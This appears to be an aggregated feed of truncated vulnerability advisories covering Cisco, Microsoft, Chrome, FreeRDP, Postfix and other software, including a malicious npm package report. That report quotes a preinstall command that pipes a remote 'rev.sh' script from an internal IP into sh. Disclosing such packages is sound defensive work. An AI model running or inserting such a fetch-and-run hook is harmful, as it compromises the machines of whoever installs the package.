PT-2026-68854

Name of the Vulnerable Software and Affected Versions V-Secure Jingyun Antivirus version 2.4.2.39 Description An issue exists in the Kernel Driver component within the ZyArk.sys library. A flaw in an unknown function allows for improper access controls, which can be exploited by a local attacker...

The vulnerability of the Simple Network Management Protocol (SNMP) subsystem in Cisco IOS XE allows a attacker to trigger a service failure.

The vulnerability of the Simple Network Management Protocol SNMP subsystem in Cisco IOS XE lies in the fact that resources are not released after their useful period has expired. Exploiting this vulnerability allows a remote attacker to cause service interruptions...

The vulnerability of the tls_match_hostname() function in the libfreerdp/crypto/tls.c file of the RDP client FreeRDP allows a attacker to replace the RDP server.

The vulnerability of the tlsmatchhostname function in the libfreerdp/crypto/tls.c file of the RDP client FreeRDP is related to errors in the certificate authentication process. Exploiting this vulnerability could allow an attacker to remotely replace the RDP server...

Linux Distros Unpatched Vulnerability : CVE-2026-19159

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Use after free in Views in Google Chrome prior to 151.0.7922.109 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially...

The vulnerability of Cisco IOS XE operating systems, related to the implementation of incorrect control flow, allows attackers to compromise the accessibility of protected information.

The vulnerability of Cisco IOS XE operating systems is related to the implementation of incorrect control flow. Exploiting this vulnerability allows a remote attacker to compromise the accessibility of protected information...

The vulnerability of the programmatically defined Cisco Catalyst SD-WAN (formerly Cisco SD-WAN) lies in insufficient validation of input data, allowing attackers to compromise the confidentiality, integrity, and accessibility of protected information.

The vulnerability of the programmatically defined Cisco Catalyst SD-WAN formerly Cisco SD-WAN is related to insufficient validation of input data. Exploiting this vulnerability can allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information...

The vulnerability of the context Isolation mechanism of the software platform for creating Electron applications allows a attacker to gain full access to the system.

The vulnerability of the context isolation mechanism of the Electron application development platform is related to the breach of data protection mechanisms. Exploiting this vulnerability allows an attacker operating remotely to gain full access to the system...

Cisco IOS XE Software SNMP DoS (cisco-sa-iosxe-snmp-dos-ZAqNm4MD)

According to its self-reported version, Cisco IOS XE Software is affected by a vulnerability. - A vulnerability in the SNMP subsystem of Cisco IOS XE Software could allow an authenticated, remote attacker to cause a denial of service DoS condition on an affected device. This vulnerability is due ...

SUSE CVE-2026-71227

A flaw was found in libkcapi. A local attacker can influence an application that uses the Asynchronous Input/Output AIO interface. By reusing an AIO-enabled handle after a prior completion error, the kcapiaioreadall function can enter a non-terminating wait loop. This can lead to a persistent...

MAL-2026-13483 Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

postfix: buffer over-read via malformed enhanced status code

A flaw was found in Postfix. This issue occurs when processing enhanced status codes, specifically an enhanced status code that lacks text following the third number. Depending on the configuration of the server, this allows a remote attacker to cause a buffer over-read of only 1 byte, leading to...

CVE-2026-50515

Deserialization of untrusted data in Azure Service Bus allows an authorized attacker to execute code over a network...

CVE-2026-62830

Missing authorization in Azure SRE Agent allows an authorized attacker to elevate privileges over a network...

CVE-2026-62918

Improper verification of cryptographic signature in Microsoft Teams allows an unauthorized attacker to perform spoofing over a network...

CVE-2026-59115

'.../...//' in Microsoft Entra Provisioning Service SyncFabric allows an authorized attacker to elevate privileges over a network...

CVE-2026-50481

Modification of assumed-immutable data maid in Azure Active Directory allows an authorized attacker to elevate privileges over a network...

CVE-2026-62896

Improper authentication in Microsoft Teams allows an authorized attacker to elevate privileges over a network...

AZL-95465 CVE-2026-64653 affecting package gh 2.62.0-20

GitHub CLI gh is GitHub’s official command line tool. Prior to 2.97.0, some HTTP request URLs interpolate variable path components without percent encoding, allowing URL path metacharacters in attacker-controlled repository or resource values to make gh address a different API endpoint or resourc...

CVE-2026-19175

Use after free in Payments in Google Chrome prior to 151.0.7922.109 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. Chromium security severity: High...

CVE-2026-19172

Use after free in Views in Google Chrome prior to 151.0.7922.109 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. Chromium security severity: Critical...